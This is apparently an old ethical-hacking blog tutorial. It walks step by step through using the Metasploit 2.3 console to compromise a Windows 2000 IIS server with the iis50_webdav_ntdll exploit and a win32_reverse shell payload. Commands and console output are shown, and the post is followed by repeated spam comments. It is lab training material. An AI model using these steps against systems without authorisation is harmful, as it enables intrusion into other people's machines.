The goal of the exercise below is to become familiar with the Metasploit™ framework and to perform a compromise of a Windows 2000 system.
These steps can be done easily from most popular bootable CD Linux distributions. The steps below are for use with the Whoppix/Whax distro (or now known or replaced by backtrack for those of you who are not old like me the steps are the same just ofc replace the correct locations for whatever distro you use).
If you want to take a trip down memory lane here you go 2005 ish is when these were last updated :P (otherwise just use Back|Track)
Whopix - knopix based
Download Whoppix Linux 2.7.1
Whax - Slax based
Download WHAX 3.0 for Linux - WHAX is the natural evolution of WHoppix - a live cd, standalone penetratin testing toolkit. - Softpedia
To begin, boot to your CD and pull up a shell window. From there you will need to move to the Metasploit™ directory. To do this from a command prompt type:
cd /KNOPPIX/pentest/exploits/framework-2.3/
# " ./msfconsole "
Once the msfconsole is running, it is time to decide which exploit to attempt against the target system. Your options here stub from the following commands:
<!--[if !supportLists]-->use
<!--[if !supportLists]-->show
<!--[if !supportLists]--><!--[endif]-->info
<!--[if !supportLists]-->show
<!--[if !supportLists]--><!--[endif]-->info
The show command will do nothing on its own, but can be combined with exploits or payloads as shown in the examples below.
The info command provides details about a specific module.
Start by entering "show exploits" to see the list of exploits available. Pretty impressive, huh? Many of the exploits listed here are going to work against the target servers and in fact we use many of these exploits in the ethical hacking course.
If you need some hints, I recommend starting with the "iis50_webdav_ntdll" exploit.
To actually start the exploit type "use iis50_webdav_ntdll"
After use – configure options
We’ve selected our exploit, but we are not done yet. We need to set options. These options include the destination IP and the destination port. The options are configured by using the set command. The show advanced command will let you know if there are more options that can be set. Most exploits do not have advanced options.
Start by typing
show options
These include the RHOST (This is the host that we are going to compromise) and the RPORT (this is the port that the vulnerable function is running on)
To set these options type
set RHOST <your partner machines IP address>
set RPORT 80
We have a system, we have an exploit. Are we going to be able to compromise the system? Now is the time to find out.
To perform the check type
check
This may not work on all exploits. This will see if the server or target appears vulnerable.
For some exploits you might have to provide information about what type of system to compromise. With the attack listed above this is not necessary. If you want to know why this is important sign-up for the ethical hacking courses. Here are steps if you use an exploit that requires you to select a target.
If your check is unsuccessful, you may need to select some additional options about the target that you are hoping to compromise. This usually includes a description of the OS and the service pack level of the system. In some modules there is a brute force option. What is being configured here is the memory offset that the utility will use to find the vulnerable function. The brute force option will try many memory offsets, but the result will be a lot less stealthy if you are unsuccessful. If you enter
show targets
msf iis50_webdav_ntdll > show targets
Supported Exploit Targets
=========================
0 Windows 2000 Bruteforce
Supported Exploit Targets
=========================
0 Windows 2000 Bruteforce
What Metasploit™ calls a payload, many others refer to as shell code or opcode. This is the code that we wish to have inserted directly into the buffer that we are overflowing. In most cases the shell code is going to be service pack dependant, OS dependant, and architecture (i386) dependant as well. This means that most of the payloads in the Metasploit™ framework will work for only certain OS’s and on certain processors. Even if you select an appropriate payload you will have to configure options to get the payload to work. The most frequently used type of shell code is code that generates a reverse shell from the compromised system back to the attacking system. Using the stubs mentioned before in the exploits section also apply to the payloads section. If you type
show payloads
msf iis50_webdav_ntdll > show payloads
Metasploit™ Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject
Metasploit™ Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject
set PAYLOAD win32_reverse
To see these options type
show options
msf iis50_webdav_ntdll(win32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ----------- ------------------
optional SSL Use SSL
required RHOST 67.36.70.19 The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection
Target: Windows 2000 Bruteforce
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ----------- ------------------
optional SSL Use SSL
required RHOST 67.36.70.19 The target address
required RPORT 80 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection
Target: Windows 2000 Bruteforce
Once you have the box open type
ifconfig
[root@localhost ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:03:25:13:43:F2
inet addr:10.5.14.173 Bcast:10.5.15.255 Mask:255.255.252.0
inet6 addr: fe80::203:25ff:fe13:43f2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4563 errors:0 dropped:0 overruns:0 frame:0
TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3696580 (3.5 MiB) TX bytes:325618 (317.9 KiB)
Interrupt:193 Base address:0x4c00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:213 errors:0 dropped:0 overruns:0 frame:0
TX packets:213 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:49707 (48.5 KiB) TX bytes:49707 (48.5 KiB)
Once we know this value we will set it with the set command.
To do this type
set LHOST <your IP address>
This payload with this exploit had no advanced options, but
to check for other exploits type
show advanced
msf iis50_webdav_ntdll(win32_reverse) > show advanced
Exploit and Payload Options
===========================
Exploit (Msf::Exploit::iis50_webdav_ntdll):
-------------------------------------------
Payload (Msf::Payload::win32_reverse):
--------------------------------------
Exploit and Payload Options
===========================
Exploit (Msf::Exploit::iis50_webdav_ntdll):
-------------------------------------------
Payload (Msf::Payload::win32_reverse):
--------------------------------------
Now is the time to see the fruits of your labor. This next phase will actually compromise the system if you have done everything correctly and the system is vulnerable. If all goes well you will own the box.
To do this type
exploit
If you've done everything right you should see something like the below.
- Starting Reverse Handler.
- Connecting to web server. OK
- Trying return address 0x004e004f...
- Sending request (65739 bytes)
- Connecting to web server. OK
- Trying return address 0x00420041...
- Sending request (65739 bytes)
- Connecting to web server. OK
- Trying return address 0x00430041...
- Sending request (65739 bytes)
- Connecting to web server. OK[
- Trying return address 0x00c10041...
- Sending request (65739 bytes)
- Connecting to web server. OK
- Trying return address 0x00c30041...
- Sending request (65739 bytes)
- Connecting to web server. OK
- Trying return address 0x00c90041...
- Sending request (65739 bytes)
Metasploit™ – available from http://www.Metasploit.com
It is not essential that the user boot a linux CD. To try out the framework on a Windows system, The Metasploit Project does provide a Windows installer on their web site.
4 comments:
Download SecurityTube Metasploit Framework Expert DVD FREE Enjoy ;)
http://securitytube-training.com/certifications/securitytube-metasploit-framework-expert/?id=download
Download SecurityTube Metasploit Framework Expert DVD FREE Enjoy ;)
http://securitytube-training.com/certifications/securitytube-metasploit-framework-expert/?id=download
Download SecurityTube Metasploit Framework Expert DVD FREE Enjoy ;)
http://securitytube-training.com/certifications/securitytube-metasploit-framework-expert/?id=download
Download SecurityTube Metasploit Framework Expert DVD FREE Enjoy ;)
securitytube-training.com/certifications/securitytube-metasploit-framework-expert/?id=download
Post a Comment